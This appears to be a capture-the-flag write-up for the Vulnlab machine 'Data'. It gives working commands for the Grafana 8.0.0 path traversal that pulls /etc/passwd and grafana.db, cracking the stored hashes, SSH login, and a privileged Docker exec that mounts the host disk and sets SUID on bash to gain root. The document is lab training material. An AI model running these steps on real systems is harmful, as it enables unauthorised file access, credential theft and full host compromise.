Vulnlab - Data

Introductuion

This post details the exploitation of a vulnerable Grafana instance, from gaining initial access using a path traversal vulnerability to escalating privileges within a Docker container, ultimately achieving root access on the host system.

Nmap

The following Nmap scan revealed two open ports:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28:b5:28:93:dd:e9:cf:71:7b:41:28:65:75:33:2e:e5 (RSA)
|   256 8f:06:01:d9:08:92:9e:eb:c0:b2:83:b8:9d:e1:18:6f (ECDSA)
|_  256 89:40:5b:eb:49:db:7c:95:a8:d5:df:5a:9d:9a:07:2a (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 11 Dec 2024 08:34:25 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 11 Dec 2024 08:34:30 GMT
|_    Content-Length: 0

Key findings:

• Port 22 hosts OpenSSH 7.6p1 for remote login.
• Port 3000 hosts Grafana, a web-based visualization tool.

Enumeration

Identifying the Grafana Version

Accessing the web application on port 3000 confirmed it was a Grafana instance running version 8.0.0. Researching this version revealed a path traversal vulnerability, which allows unauthorized access to local files.

Exploiting Path Traversal

Using the exploit, the /etc/passwd file was retrieved to verify the vulnerability:

└─$ curl --path-as-is 'http://10.10.83.1:3000/public/plugins/text/../../../../../../../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...

The vulnerability was confirmed. Following this, the Grafana database file, typically located at /var/lib/grafana/grafana.db, was downloaded:

└─$ curl --path-as-is 'http://10.10.83.1:3000/public/plugins/text/../../../../../../../../var/lib/grafana/grafana.db' -o grafana.db

Exploitation

Extracting Credentials from Grafana Database

The grafana.db file was examined using sqlitebrowser, revealing the user table with hashed passwords:

Converting Hashes for Cracking

Using grafana2hashcat, the hashes were converted to a format compatible with Hashcat:

└─$ cat grafana_hashes.txt 
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl

└─$ python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  grafana_hashes.txt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[+] Writing output to 'hashcat_hashes.txt' file.
[+] Now, you can run Hashcat with the following command, for example:

hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt

The resulting file was cracked using Hashcat with the following command:

└─$ hashcat -m 10900 hashcat_hashes.txt /usr/share/wordlists/rockyou.txt --show
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

The plaintext password for boris was revealed: beautiful1.

Gaining SSH Access

With the cracked credentials, SSH access was established:

└─$ ssh boris@10.10.83.1
boris@10.10.83.1's password: 
...
boris@ip-10-10-10-11:~$ id
uid=1001(boris) gid=1001(boris) groups=1001(boris)

The user flag was retrieved:

boris@ip-10-10-10-11:~$ cat user.txt
VL{CENSORED}

Privilege Escalation

Identifying Privileged Docker Access

The sudo privileges revealed that boris could execute Docker commands as root:

boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
    (root) NOPASSWD: /snap/bin/docker exec *

Exploiting Docker Privileges

Identifying Host Filesystem

The df -h command identified /dev/xvda1 as the root filesystem of the host:

boris@ip-10-10-10-11:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            476M     0  476M   0% /dev
tmpfs            98M  876K   98M   1% /run
/dev/xvda1      7.7G  1.6G  6.1G  21% /
tmpfs           490M     0  490M   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           490M     0  490M   0% /sys/fs/cgroup
/dev/loop0       56M   56M     0 100% /snap/core18/2253
/dev/loop1       43M   43M     0 100% /snap/snapd/14066
/dev/loop3      117M  117M     0 100% /snap/docker/1125
/dev/loop2       25M   25M     0 100% /snap/amazon-ssm-agent/4046
tmpfs            98M     0   98M   0% /run/user/1001

Mounting Host Filesystem

A Docker container was accessed with root privileges:

boris@ip-10-10-10-11:~$ sudo docker exec -it --privileged --user root grafana bash
bash-5.1#

Within the container, the host's root filesystem was mounted:

bash-5.1# mkdir /mnt/root && mount /dev/xvda1 /mnt/root

Assigning SUID Bit to Bash

The SUID bit was set on the bash binary of the host:

bash-5.1# chmod ug+s /mnt/root/bin/bash
bash-5.1# exit

Escalating to Root on Host

On the host, executing the modified bash binary provided root access:

boris@ip-10-10-10-11:~$ bash -p
bash-4.4# id
uid=1001(boris) gid=1001(boris) euid=0(root) egid=0(root) groups=0(root),1001(boris)

The root flag was retrieved:

bash-4.4# cat /root/root.txt
VL{CENSORED}